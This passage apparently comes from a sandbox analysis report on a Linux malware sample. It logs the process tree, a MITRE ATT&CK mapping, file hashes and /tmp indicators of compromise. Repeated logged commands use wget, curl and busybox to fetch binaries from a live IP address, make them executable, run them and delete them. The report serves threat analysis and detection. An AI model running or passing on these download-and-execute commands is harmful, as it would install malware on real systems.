  curl -O http://216.126.231.240/bins/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  PID:959
- /bin/chmod
  chmod 777 7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  ./7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm 7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  PID:962
- /usr/bin/wget
  wget http://216.126.231.240/bins/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  PID:965
- /bin/chmod
  chmod 777 EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  ./EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  PID:968
- /usr/bin/wget
  wget http://216.126.231.240/bins/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  PID:971
- /bin/chmod
  chmod 777 UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  ./UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  PID:974
- /usr/bin/wget
  wget http://216.126.231.240/bins/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  PID:977
- /bin/chmod
  chmod 777 nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  ./nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  PID:980
- /usr/bin/wget
  wget http://216.126.231.240/bins/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  PID:983
- /bin/chmod
  chmod 777 zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  ./zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  PID:986
- /usr/bin/wget
  wget http://216.126.231.240/bins/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  PID:987
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  PID:989
- /bin/chmod
  chmod 777 UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  ./UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  - Executes dropped EXE
  PID:991
- /bin/rm
  rm UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  PID:992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	process
/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	751	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
/tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe	757	cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
/tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz	775	e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
/tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne	807	tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
/tmp/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo	820	EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
/tmp/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw	842	UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
/tmp/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8	862	nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
/tmp/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ	868	zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
/tmp/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO	877	UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
/tmp/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ	883	JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
/tmp/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG	889	7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
/tmp/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc	895	xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
/tmp/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a	901	0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
/tmp/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6	907	GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
/tmp/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6	913	GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
/tmp/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc	919	xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
/tmp/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a	925	0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
/tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe	931	cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	937	tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
/tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne	943	tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
/tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz	949	e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
/tmp/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ	955	JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
/tmp/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG	961	7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
/tmp/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo	967	EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
/tmp/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw	973	UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
/tmp/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8	979	nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
/tmp/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ	985	zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
/tmp/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO	991	UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO